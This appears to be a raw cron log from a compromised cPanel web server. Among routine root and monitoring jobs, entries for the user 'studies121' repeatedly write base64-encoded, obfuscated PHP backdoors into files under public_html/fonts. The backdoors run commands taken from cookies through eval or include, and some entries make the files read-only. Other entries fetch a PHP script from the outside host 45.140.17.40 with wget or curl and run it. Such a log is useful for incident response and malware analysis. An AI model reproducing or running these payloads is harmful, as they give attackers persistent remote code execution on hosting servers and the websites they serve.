Sep 11 17:25:01 ip-184-168-122-23 CROND[9382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:25:01 ip-184-168-122-23 CROND[9383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:26:01 ip-184-168-122-23 CROND[9496]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:26:01 ip-184-168-122-23 CROND[9498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:26:01 ip-184-168-122-23 CROND[9500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:26:01 ip-184-168-122-23 CROND[9499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:26:01 ip-184-168-122-23 CROND[9501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:27:01 ip-184-168-122-23 CROND[9663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:27:01 ip-184-168-122-23 CROND[9666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:27:01 ip-184-168-122-23 CROND[9664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:27:01 ip-184-168-122-23 CROND[9665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:28:01 ip-184-168-122-23 CROND[9755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:28:01 ip-184-168-122-23 CROND[9759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:28:01 ip-184-168-122-23 CROND[9762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:28:01 ip-184-168-122-23 CROND[9763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:28:01 ip-184-168-122-23 CROND[9761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:29:01 ip-184-168-122-23 CROND[9849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:29:01 ip-184-168-122-23 CROND[9850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:29:01 ip-184-168-122-23 CROND[9853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:29:01 ip-184-168-122-23 CROND[9854]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9971]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9974]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:30:01 ip-184-168-122-23 CROND[9976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:30:01 ip-184-168-122-23 CROND[9981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:30:01 ip-184-168-122-23 CROND[9983]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:31:01 ip-184-168-122-23 CROND[10091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:31:01 ip-184-168-122-23 CROND[10095]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 17:31:01 ip-184-168-122-23 CROND[10093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:31:01 ip-184-168-122-23 CROND[10092]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:31:01 ip-184-168-122-23 CROND[10096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:32:01 ip-184-168-122-23 CROND[10258]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:32:01 ip-184-168-122-23 CROND[10262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:32:01 ip-184-168-122-23 CROND[10261]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:32:01 ip-184-168-122-23 CROND[10263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:32:01 ip-184-168-122-23 CROND[10260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:33:01 ip-184-168-122-23 CROND[10352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:33:01 ip-184-168-122-23 CROND[10355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:33:01 ip-184-168-122-23 CROND[10353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:33:01 ip-184-168-122-23 CROND[10356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:34:01 ip-184-168-122-23 CROND[10442]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:34:01 ip-184-168-122-23 CROND[10444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:34:01 ip-184-168-122-23 CROND[10445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:34:01 ip-184-168-122-23 CROND[10443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:34:01 ip-184-168-122-23 CROND[10447]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:35:01 ip-184-168-122-23 CROND[10556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10557]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10555]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:35:01 ip-184-168-122-23 CROND[10558]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 17:36:01 ip-184-168-122-23 CROND[10662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 17:36:01 ip-184-168-122-23 CROND[10661]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 17:36:01 ip-184-168-122-23 CROND[10664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 17:36:01 ip-184-168-122-23 CROND[10660]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:36:01 ip-184-168-122-23 CROND[10663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:37:01 ip-184-168-122-23 CROND[10841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 17:37:01 ip-184-168-122-23 CROND[10842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 17:37:01 ip-184-168-122-23 CROND[10843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
